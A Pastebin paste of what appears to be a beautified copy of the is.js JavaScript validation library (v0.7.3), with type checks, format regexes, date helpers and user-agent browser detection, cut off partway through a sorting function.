Advertisement
Guest User

Don't be evil :)

a guest
Aug 5th, 2015
274
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ! function(root, factory) {
  2.     if ("function" == typeof define && define.amd) {
  3.         define(["is"], function(jQuery) {
  4.             return root.is = factory(jQuery);
  5.         });
  6.     } else {
  7.         if ("object" == typeof exports) {
  8.             module.exports = factory(require("is_js"));
  9.         } else {
  10.             root.is = factory(root.is);
  11.         }
  12.     }
  13. }(this, function(options) {
  14.     /**
  15.      * @param {Function} place
  16.      * @return {?}
  17.      */
  18.     function go(place) {
  19.         return function() {
  20.             return !place.apply(null, __slice.call(arguments));
  21.         };
  22.     }
  23.     /**
  24.      * @param {Function} fn
  25.      * @return {?}
  26.      */
  27.     function wrap(fn) {
  28.         return function() {
  29.             /** @type {Array.<?>} */
  30.             var context = __slice.call(arguments);
  31.             /** @type {number} */
  32.             var j = context.length;
  33.             if (1 === j) {
  34.                 if (options.array(context[0])) {
  35.                     context = context[0];
  36.                     j = context.length;
  37.                 }
  38.             }
  39.             /** @type {number} */
  40.             var k = 0;
  41.             for (; j > k; k++) {
  42.                 if (!fn.call(null, context[k])) {
  43.                     return false;
  44.                 }
  45.             }
  46.             return true;
  47.         };
  48.     }
  49.     /**
  50.      * @param {Function} fn
  51.      * @return {?}
  52.      */
  53.     function filter(fn) {
  54.         return function() {
  55.             /** @type {Array.<?>} */
  56.             var items = __slice.call(arguments);
  57.             /** @type {number} */
  58.             var ilen = items.length;
  59.             if (1 === ilen) {
  60.                 if (options.array(items[0])) {
  61.                     items = items[0];
  62.                     ilen = items.length;
  63.                 }
  64.             }
  65.             /** @type {number} */
  66.             var i = 0;
  67.             for (; ilen > i; i++) {
  68.                 if (fn.call(null, items[i])) {
  69.                     return true;
  70.                 }
  71.             }
  72.             return false;
  73.         };
  74.     }
  75.     /**
  76.      * @param {string} key
  77.      * @param {Object} func
  78.      * @return {undefined}
  79.      */
  80.     function serialize(key, func) {
  81.         /**
  82.          * @param {?} selectors
  83.          * @return {?}
  84.          */
  85.         options[key] = function(selectors) {
  86.             return func[key].test(selectors);
  87.         };
  88.     }
  89.     /**
  90.      * @return {undefined}
  91.      */
  92.     function init() {
  93.         var elems = options;
  94.         var i;
  95.         for (i in elems) {
  96.             if (fn.call(elems, i) && options["function"](elems[i])) {
  97.                 var branchDataJSON = elems[i].api || ["not", "all", "any"];
  98.                 /** @type {number} */
  99.                 var conditionIndex = 0;
  100.                 for (; conditionIndex < branchDataJSON.length; conditionIndex++) {
  101.                     if ("not" === branchDataJSON[conditionIndex]) {
  102.                         options.not[i] = go(options[i]);
  103.                     }
  104.                     if ("all" === branchDataJSON[conditionIndex]) {
  105.                         options.all[i] = wrap(options[i]);
  106.                     }
  107.                     if ("any" === branchDataJSON[conditionIndex]) {
  108.                         options.any[i] = filter(options[i]);
  109.                     }
  110.                 }
  111.             }
  112.         }
  113.     }
  114.     var first = this || global;
  115.     var i = first.is;
  116.     options = {};
  117.     /** @type {string} */
  118.     options.VERSION = "0.7.3";
  119.     options.not = {};
  120.     options.all = {};
  121.     options.any = {};
  122.     /** @type {function (this:*): string} */
  123.     var toString = Object.prototype.toString;
  124.     /** @type {function (this:(Array.<T>|string|{length: number}), *=, *=): Array.<T>} */
  125.     var __slice = Array.prototype.slice;
  126.     /** @type {function (this:Object, *): boolean} */
  127.     var fn = Object.prototype.hasOwnProperty;
  128.     /**
  129.      * @param {?} obj
  130.      * @return {?}
  131.      */
  132.     options.arguments = function(obj) {
  133.         return options.not["null"](obj) && ("[object Arguments]" === toString.call(obj) || "object" == typeof obj && "callee" in obj);
  134.     };
  135.     /** @type {function (*): boolean} */
  136.     options.array = Array.isArray || function(obj) {
  137.         return "[object Array]" === toString.call(obj);
  138.     };
  139.     /**
  140.      * @param {boolean} checkSet
  141.      * @return {?}
  142.      */
  143.     options["boolean"] = function(checkSet) {
  144.         return checkSet === true || (checkSet === false || "[object Boolean]" === toString.call(checkSet));
  145.     };
  146.     /**
  147.      * @param {Date} that
  148.      * @return {?}
  149.      */
  150.     options.date = function(that) {
  151.         return "[object Date]" === toString.call(that);
  152.     };
  153.     /**
  154.      * @param {?} obj
  155.      * @return {?}
  156.      */
  157.     options.error = function(obj) {
  158.         return "[object Error]" === toString.call(obj);
  159.     };
  160.     /**
  161.      * @param {?} obj
  162.      * @return {?}
  163.      */
  164.     options["function"] = function(obj) {
  165.         return "[object Function]" === toString.call(obj) || "function" == typeof obj;
  166.     };
  167.     /**
  168.      * @param {?} b
  169.      * @return {?}
  170.      */
  171.     options.nan = function(b) {
  172.         return b !== b;
  173.     };
  174.     /**
  175.      * @param {number} checkSet
  176.      * @return {?}
  177.      */
  178.     options["null"] = function(checkSet) {
  179.         return null === checkSet || "[object Null]" === toString.call(checkSet);
  180.     };
  181.     /**
  182.      * @param {?} value
  183.      * @return {?}
  184.      */
  185.     options.number = function(value) {
  186.         return options.not.nan(value) && "[object Number]" === toString.call(value);
  187.     };
  188.     /**
  189.      * @param {?} value
  190.      * @return {?}
  191.      */
  192.     options.object = function(value) {
  193.         /** @type {string} */
  194.         var type = typeof value;
  195.         return "function" === type || "object" === type && !!value;
  196.     };
  197.     /**
  198.      * @param {?} obj
  199.      * @return {?}
  200.      */
  201.     options.json = function(obj) {
  202.         return "[object Object]" === toString.call(obj);
  203.     };
  204.     /**
  205.      * @param {?} value
  206.      * @return {?}
  207.      */
  208.     options.regexp = function(value) {
  209.         return "[object RegExp]" === toString.call(value);
  210.     };
  211.     /**
  212.      * @param {?} a
  213.      * @param {?} b
  214.      * @return {?}
  215.      */
  216.     options.sameType = function(a, b) {
  217.         return options.nan(a) || options.nan(b) ? options.nan(a) === options.nan(b) : toString.call(a) === toString.call(b);
  218.     };
  219.     /** @type {Array} */
  220.     options.sameType.api = ["not"];
  221.     /**
  222.      * @param {string} str
  223.      * @return {?}
  224.      */
  225.     options.string = function(str) {
  226.         return "[object String]" === toString.call(str);
  227.     };
  228.     /**
  229.      * @param {string} arg
  230.      * @return {?}
  231.      */
  232.     options["char"] = function(arg) {
  233.         return options.string(arg) && 1 === arg.length;
  234.     };
  235.     /**
  236.      * @param {number} n
  237.      * @return {?}
  238.      */
  239.     options.undefined = function(n) {
  240.         return void 0 === n;
  241.     };
  242.     /**
  243.      * @param {Object} value
  244.      * @return {?}
  245.      */
  246.     options.empty = function(value) {
  247.         if (options.object(value)) {
  248.             /** @type {number} */
  249.             var number = Object.getOwnPropertyNames(value).length;
  250.             return 0 === number || (1 === number && options.array(value) || 2 === number && options.arguments(value)) ? true : false;
  251.         }
  252.         return "" === value;
  253.     };
  254.     /**
  255.      * @param {Object} val
  256.      * @return {?}
  257.      */
  258.     options.existy = function(val) {
  259.         return null !== val && void 0 !== val;
  260.     };
  261.     /**
  262.      * @param {Object} val
  263.      * @return {?}
  264.      */
  265.     options.truthy = function(val) {
  266.         return options.existy(val) && (val !== false && (options.not.nan(val) && ("" !== val && 0 !== val)));
  267.     };
  268.     options.falsy = go(options.truthy);
  269.     /**
  270.      * @param {string} a
  271.      * @return {?}
  272.      */
  273.     options.space = function(a) {
  274.         if (options["char"](a)) {
  275.             var m = a.charCodeAt(0);
  276.             return m > 8 && 14 > m || 32 === m;
  277.         }
  278.         return false;
  279.     };
  280.     /**
  281.      * @param {?} x
  282.      * @param {?} y
  283.      * @return {?}
  284.      */
  285.     options.equal = function(x, y) {
  286.         return options.all.number(x, y) ? x === y && 1 / x === 1 / y : options.all.string(x, y) || options.all.regexp(x, y) ? "" + x == "" + y : options.all["boolean"](x, y) ? x === y : false;
  287.     };
  288.     /** @type {Array} */
  289.     options.equal.api = ["not"];
  290.     /**
  291.      * @param {number} i
  292.      * @return {?}
  293.      */
  294.     options.even = function(i) {
  295.         return options.number(i) && i % 2 === 0;
  296.     };
  297.     /**
  298.      * @param {number} i
  299.      * @return {?}
  300.      */
  301.     options.odd = function(i) {
  302.         return options.number(i) && i % 2 !== 0;
  303.     };
  304.     /**
  305.      * @param {number} n
  306.      * @return {?}
  307.      */
  308.     options.positive = function(n) {
  309.         return options.number(n) && n > 0;
  310.     };
  311.     /**
  312.      * @param {number} error
  313.      * @return {?}
  314.      */
  315.     options.negative = function(error) {
  316.         return options.number(error) && 0 > error;
  317.     };
  318.     /**
  319.      * @param {?} a
  320.      * @param {?} b
  321.      * @return {?}
  322.      */
  323.     options.above = function(a, b) {
  324.         return options.all.number(a, b) && a > b;
  325.     };
  326.     /** @type {Array} */
  327.     options.above.api = ["not"];
  328.     /**
  329.      * @param {?} rhs
  330.      * @param {?} lhs
  331.      * @return {?}
  332.      */
  333.     options.under = function(rhs, lhs) {
  334.         return options.all.number(rhs, lhs) && lhs > rhs;
  335.     };
  336.     /** @type {Array} */
  337.     options.under.api = ["not"];
  338.     /**
  339.      * @param {?} x
  340.      * @param {?} left
  341.      * @param {?} y
  342.      * @return {?}
  343.      */
  344.     options.within = function(x, left, y) {
  345.         return options.all.number(x, left, y) && (x > left && y > x);
  346.     };
  347.     /** @type {Array} */
  348.     options.within.api = ["not"];
  349.     /**
  350.      * @param {number} value
  351.      * @return {?}
  352.      */
  353.     options.decimal = function(value) {
  354.         return options.number(value) && value % 1 !== 0;
  355.     };
  356.     /**
  357.      * @param {number} arg
  358.      * @return {?}
  359.      */
  360.     options.integer = function(arg) {
  361.         return options.number(arg) && arg % 1 === 0;
  362.     };
  363.     /** @type {function (*): boolean} */
  364.     options.finite = isFinite || function(_super) {
  365.         return _super !== 1 / 0 && (_super !== -(1 / 0) && options.not.nan(_super));
  366.     };
  367.     options.infinite = go(options.finite);
  368.     var obj = {
  369.         url: /^(https?:\/\/)?([\da-z\.-]+)\.([a-z\.]{2,6})([\/\w \.-]*)*\/?$/,
  370.         email: /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))$/i,
  371.         creditCard: /^(?:(4[0-9]{12}(?:[0-9]{3})?)|(5[1-5][0-9]{14})|(6(?:011|5[0-9]{2})[0-9]{12})|(3[47][0-9]{13})|(3(?:0[0-5]|[68][0-9])[0-9]{11})|((?:2131|1800|35[0-9]{3})[0-9]{11}))$/,
  372.         alphaNumeric: /^[A-Za-z0-9]+$/,
  373.         timeString: /^(2[0-3]|[01]?[0-9]):([0-5]?[0-9]):([0-5]?[0-9])$/,
  374.         dateString: /^(1[0-2]|0?[1-9])\/(3[01]|[12][0-9]|0?[1-9])\/(?:[0-9]{2})?[0-9]{2}$/,
  375.         usZipCode: /^[0-9]{5}(?:-[0-9]{4})?$/,
  376.         caPostalCode: /^(?!.*[DFIOQU])[A-VXY][0-9][A-Z]\s?[0-9][A-Z][0-9]$/,
  377.         ukPostCode: /^[A-Z]{1,2}[0-9RCHNQ][0-9A-Z]?\s?[0-9][ABD-HJLNP-UW-Z]{2}$|^[A-Z]{2}-?[0-9]{4}$/,
  378.         nanpPhone: /^\(?([0-9]{3})\)?[-. ]?([0-9]{3})[-. ]?([0-9]{4})$/,
  379.         eppPhone: /^\+[0-9]{1,3}\.[0-9]{4,14}(?:x.+)?$/,
  380.         socialSecurityNumber: /^(?!000|666)[0-8][0-9]{2}-(?!00)[0-9]{2}-(?!0000)[0-9]{4}$/,
  381.         affirmative: /^(?:1|t(?:rue)?|y(?:es)?|ok(?:ay)?)$/,
  382.         hexadecimal: /^[0-9a-fA-F]+$/,
  383.         hexColor: /^#?([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$/,
  384.         ipv4: /^(?:(?:\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])\.){3}(?:\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])$/,
  385.         ipv6: /^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\-]*[A-Za-z0-9])$|^\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*$/,
  386.         ip: /^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$|^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\-]*[A-Za-z0-9])$|^\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*$/
  387.     };
  388.     var property;
  389.     for (property in obj) {
  390.         if (obj.hasOwnProperty(property)) {
  391.             serialize(property, obj);
  392.         }
  393.     }
  394.     /**
  395.      * @param {string} val
  396.      * @param {?} pattern
  397.      * @return {?}
  398.      */
  399.     options.include = function(val, pattern) {
  400.         return val.indexOf(pattern) > -1;
  401.     };
  402.     /** @type {Array} */
  403.     options.include.api = ["not"];
  404.     /**
  405.      * @param {string} key
  406.      * @return {?}
  407.      */
  408.     options.upperCase = function(key) {
  409.         return options.string(key) && key === key.toUpperCase();
  410.     };
  411.     /**
  412.      * @param {string} str
  413.      * @return {?}
  414.      */
  415.     options.lowerCase = function(str) {
  416.         return options.string(str) && str === str.toLowerCase();
  417.     };
  418.     /**
  419.      * @param {string} l
  420.      * @param {?} value
  421.      * @return {?}
  422.      */
  423.     options.startWith = function(l, value) {
  424.         return options.string(l) && 0 === l.indexOf(value);
  425.     };
  426.     /** @type {Array} */
  427.     options.startWith.api = ["not"];
  428.     /**
  429.      * @param {string} value
  430.      * @param {Array} check
  431.      * @return {?}
  432.      */
  433.     options.endWith = function(value, check) {
  434.         return options.string(value) && (value.indexOf(check) > -1 && value.indexOf(check) === value.length - check.length);
  435.     };
  436.     /** @type {Array} */
  437.     options.endWith.api = ["not"];
  438.     /**
  439.      * @param {string} names
  440.      * @return {?}
  441.      */
  442.     options.capitalized = function(names) {
  443.         if (options.not.string(names)) {
  444.             return false;
  445.         }
  446.         var codeSegments = names.split(" ");
  447.         /** @type {Array} */
  448.         var newArguments = [];
  449.         /** @type {number} */
  450.         var i = 0;
  451.         for (; i < codeSegments.length; i++) {
  452.             newArguments.push(codeSegments[i][0] === codeSegments[i][0].toUpperCase());
  453.         }
  454.         return options.all.truthy.apply(null, newArguments);
  455.     };
  456.     /**
  457.      * @param {string} arg
  458.      * @return {?}
  459.      */
  460.     options.palindrome = function(arg) {
  461.         return options.string(arg) && arg == arg.split("").reverse().join("");
  462.     };
  463.     /** @type {Array} */
  464.     var days = ["sunday", "monday", "tuesday", "wednesday", "thursday", "friday", "saturday"];
  465.     /** @type {Array} */
  466.     var months = ["january", "february", "march", "april", "may", "june", "july", "august", "september", "october", "november", "december"];
  467.     if (options.today = function(date) {
  468.             /** @type {Date} */
  469.             var theDate = new Date;
  470.             /** @type {string} */
  471.             var d = theDate.toDateString();
  472.             return options.date(date) && date.toDateString() === d;
  473.         }, options.yesterday = function(date) {
  474.             /** @type {Date} */
  475.             var nextMonth = new Date;
  476.             /** @type {string} */
  477.             var d = (new Date(nextMonth.setDate(nextMonth.getDate() - 1))).toDateString();
  478.             return options.date(date) && date.toDateString() === d;
  479.         }, options.tomorrow = function(date) {
  480.             /** @type {Date} */
  481.             var nextMonth = new Date;
  482.             /** @type {string} */
  483.             var d = (new Date(nextMonth.setDate(nextMonth.getDate() + 1))).toDateString();
  484.             return options.date(date) && date.toDateString() === d;
  485.         }, options.past = function(date) {
  486.             /** @type {Date} */
  487.             var defaultCenturyStart = new Date;
  488.             return options.date(date) && date.getTime() < defaultCenturyStart.getTime();
  489.         }, options.future = go(options.past), options.day = function(date, day) {
  490.             return options.date(date) && day.toLowerCase() === days[date.getDay()];
  491.         }, options.day.api = ["not"], options.month = function(date, offset) {
  492.             return options.date(date) && offset.toLowerCase() === months[date.getMonth()];
  493.         }, options.month.api = ["not"], options.year = function(date, val) {
  494.             return options.date(date) && (options.number(val) && val === date.getFullYear());
  495.         }, options.year.api = ["not"], options.leapYear = function(arg) {
  496.             return options.number(arg) && (arg % 4 === 0 && arg % 100 !== 0 || arg % 400 === 0);
  497.         }, options.weekend = function(date) {
  498.             return options.date(date) && (6 === date.getDay() || 0 === date.getDay());
  499.         }, options.weekday = go(options.weekend), options.inDateRange = function(value, date, v) {
  500.             if (options.not.date(value) || (options.not.date(date) || options.not.date(v))) {
  501.                 return false;
  502.             }
  503.             var start = value.getTime();
  504.             var first = date.getTime();
  505.             var end = v.getTime();
  506.             return start > first && end > start;
  507.         }, options.inDateRange.api = ["not"], options.inLastWeek = function(isXML) {
  508.             return options.inDateRange(isXML, new Date((new Date).setDate((new Date).getDate() - 7)), new Date);
  509.         }, options.inLastMonth = function(isXML) {
  510.             return options.inDateRange(isXML, new Date((new Date).setMonth((new Date).getMonth() - 1)), new Date);
  511.         }, options.inLastYear = function(isXML) {
  512.             return options.inDateRange(isXML, new Date((new Date).setFullYear((new Date).getFullYear() - 1)), new Date);
  513.         }, options.inNextWeek = function(isXML) {
  514.             return options.inDateRange(isXML, new Date, new Date((new Date).setDate((new Date).getDate() + 7)));
  515.         }, options.inNextMonth = function(isXML) {
  516.             return options.inDateRange(isXML, new Date, new Date((new Date).setMonth((new Date).getMonth() + 1)));
  517.         }, options.inNextYear = function(isXML) {
  518.             return options.inDateRange(isXML, new Date, new Date((new Date).setFullYear((new Date).getFullYear() + 1)));
  519.         }, options.quarterOfYear = function(date, val) {
  520.             return options.date(date) && (options.number(val) && val === Math.floor((date.getMonth() + 3) / 3));
  521.         }, options.quarterOfYear.api = ["not"], options.dayLightSavingTime = function(date1) {
  522.             /** @type {Date} */
  523.             var dateJul = new Date(date1.getFullYear(), 0, 1);
  524.             /** @type {Date} */
  525.             var dateJan = new Date(date1.getFullYear(), 6, 1);
  526.             /** @type {number} */
  527.             var d = Math.max(dateJul.getTimezoneOffset(), dateJan.getTimezoneOffset());
  528.             return date1.getTimezoneOffset() < d;
  529.         }, "undefined" != typeof window) {
  530.         /** @type {string} */
  531.         var name = "navigator" in window && ("userAgent" in navigator && navigator.userAgent.toLowerCase()) || "";
  532.         /** @type {string} */
  533.         var ua = "navigator" in window && ("vendor" in navigator && navigator.vendor.toLowerCase()) || "";
  534.         /** @type {string} */
  535.         var accept = "navigator" in window && ("appVersion" in navigator && navigator.appVersion.toLowerCase()) || "";
  536.         /**
  537.          * @return {?}
  538.          */
  539.         options.chrome = function() {
  540.             return /chrome|chromium/i.test(name) && /google inc/.test(ua);
  541.         };
  542.         /** @type {Array} */
  543.         options.chrome.api = ["not"];
  544.         /**
  545.          * @return {?}
  546.          */
  547.         options.firefox = function() {
  548.             return /firefox/i.test(name);
  549.         };
  550.         /** @type {Array} */
  551.         options.firefox.api = ["not"];
  552.         /**
  553.          * @param {string} text
  554.          * @return {?}
  555.          */
  556.         options.ie = function(text) {
  557.             return text ? text >= 11 ? "ActiveXObject" in window : (new RegExp("msie " + text)).test(name) : /msie/i.test(name) || "ActiveXObject" in window;
  558.         };
  559.         /** @type {Array} */
  560.         options.ie.api = ["not"];
  561.         /**
  562.          * @return {?}
  563.          */
  564.         options.opera = function() {
  565.             return /^Opera\//.test(name) || /\x20OPR\//.test(name);
  566.         };
  567.         /** @type {Array} */
  568.         options.opera.api = ["not"];
  569.         /**
  570.          * @return {?}
  571.          */
  572.         options.safari = function() {
  573.             return /safari/i.test(name) && /apple computer/i.test(ua);
  574.         };
  575.         /** @type {Array} */
  576.         options.safari.api = ["not"];
  577.         /**
  578.          * @return {?}
  579.          */
  580.         options.ios = function() {
  581.             return options.iphone() || (options.ipad() || options.ipod());
  582.         };
  583.         /** @type {Array} */
  584.         options.ios.api = ["not"];
  585.         /**
  586.          * @return {?}
  587.          */
  588.         options.iphone = function() {
  589.             return /iphone/i.test(name);
  590.         };
  591.         /** @type {Array} */
  592.         options.iphone.api = ["not"];
  593.         /**
  594.          * @return {?}
  595.          */
  596.         options.ipad = function() {
  597.             return /ipad/i.test(name);
  598.         };
  599.         /** @type {Array} */
  600.         options.ipad.api = ["not"];
  601.         /**
  602.          * @return {?}
  603.          */
  604.         options.ipod = function() {
  605.             return /ipod/i.test(name);
  606.         };
  607.         /** @type {Array} */
  608.         options.ipod.api = ["not"];
  609.         /**
  610.          * @return {?}
  611.          */
  612.         options.android = function() {
  613.             return /android/i.test(name);
  614.         };
  615.         /** @type {Array} */
  616.         options.android.api = ["not"];
  617.         /**
  618.          * @return {?}
  619.          */
  620.         options.androidPhone = function() {
  621.             return /android/i.test(name) && /mobile/i.test(name);
  622.         };
  623.         /** @type {Array} */
  624.         options.androidPhone.api = ["not"];
  625.         /**
  626.          * @return {?}
  627.          */
  628.         options.androidTablet = function() {
  629.             return /android/i.test(name) && !/mobile/i.test(name);
  630.         };
  631.         /** @type {Array} */
  632.         options.androidTablet.api = ["not"];
  633.         /**
  634.          * @return {?}
  635.          */
  636.         options.blackberry = function() {
  637.             return /blackberry/i.test(name) || /BB10/i.test(name);
  638.         };
  639.         /** @type {Array} */
  640.         options.blackberry.api = ["not"];
  641.         /**
  642.          * @return {?}
  643.          */
  644.         options.desktop = function() {
  645.             return options.not.mobile() && options.not.tablet();
  646.         };
  647.         /** @type {Array} */
  648.         options.desktop.api = ["not"];
  649.         /**
  650.          * @return {?}
  651.          */
  652.         options.linux = function() {
  653.             return /linux/i.test(accept);
  654.         };
  655.         /** @type {Array} */
  656.         options.linux.api = ["not"];
  657.         /**
  658.          * @return {?}
  659.          */
  660.         options.mac = function() {
  661.             return /mac/i.test(accept);
  662.         };
  663.         /** @type {Array} */
  664.         options.mac.api = ["not"];
  665.         /**
  666.          * @return {?}
  667.          */
  668.         options.windows = function() {
  669.             return /win/i.test(accept);
  670.         };
  671.         /** @type {Array} */
  672.         options.windows.api = ["not"];
  673.         /**
  674.          * @return {?}
  675.          */
  676.         options.windowsPhone = function() {
  677.             return options.windows() && /phone/i.test(name);
  678.         };
  679.         /** @type {Array} */
  680.         options.windowsPhone.api = ["not"];
  681.         /**
  682.          * @return {?}
  683.          */
  684.         options.windowsTablet = function() {
  685.             return options.windows() && (options.not.windowsPhone() && /touch/i.test(name));
  686.         };
  687.         /** @type {Array} */
  688.         options.windowsTablet.api = ["not"];
  689.         /**
  690.          * @return {?}
  691.          */
  692.         options.mobile = function() {
  693.             return options.iphone() || (options.ipod() || (options.androidPhone() || (options.blackberry() || options.windowsPhone())));
  694.         };
  695.         /** @type {Array} */
  696.         options.mobile.api = ["not"];
  697.         /**
  698.          * @return {?}
  699.          */
  700.         options.tablet = function() {
  701.             return options.ipad() || (options.androidTablet() || options.windowsTablet());
  702.         };
  703.         /** @type {Array} */
  704.         options.tablet.api = ["not"];
  705.         /**
  706.          * @return {?}
  707.          */
  708.         options.online = function() {
  709.             return navigator.onLine;
  710.         };
  711.         /** @type {Array} */
  712.         options.online.api = ["not"];
  713.         options.offline = go(options.online);
  714.         /** @type {Array} */
  715.         options.offline.api = ["not"];
  716.         /**
  717.          * @return {?}
  718.          */
  719.         options.touchDevice = function() {
  720.             return "ontouchstart" in window || "DocumentTouch" in window && document instanceof DocumentTouch;
  721.         };
  722.         /** @type {Array} */
  723.         options.touchDevice.api = ["not"];
  724.     }
  725.     return options.propertyCount = function(obj, arg) {
  726.         if (!options.object(obj) || !options.number(arg)) {
  727.             return false;
  728.         }
  729.         if (Object.keys) {
  730.             return Object.keys(obj).length === arg;
  731.         }
  732.         var i;
  733.         /** @type {Array} */
  734.         var aProperties = [];
  735.         for (i in obj) {
  736.             if (fn.call(obj, i)) {
  737.                 aProperties.push(i);
  738.             }
  739.         }
  740.         return aProperties.length === arg;
  741.     }, options.propertyCount.api = ["not"], options.propertyDefined = function(arg, key) {
  742.         return options.object(arg) && (options.string(key) && key in arg);
  743.     }, options.propertyDefined.api = ["not"], options.windowObject = function(o) {
  744.         return "object" == typeof o && "setInterval" in o;
  745.     }, options.domNode = function(from) {
  746.         return options.object(from) && from.nodeType > 0;
  747.     }, options.inArray = function(elem, array) {
  748.         if (options.not.array(array)) {
  749.             return false;
  750.         }
  751.         /** @type {number} */
  752.         var i = 0;
  753.         for (; i < array.length; i++) {
  754.             if (array[i] === elem) {
  755.                 return true;
  756.             }
  757.         }
  758.         return false;
  759.     }, options.inArray.api = ["not"], options.sorted = function(items) {
  760.         if (options.not.array(items)) {
  761.             return false;
  762.         }
  763.         /** @type {number} */
  764.         var j = 0;
  765.         for (; j < items.length; j++) {
  766.             if (items[j] > items[j + 1]) {
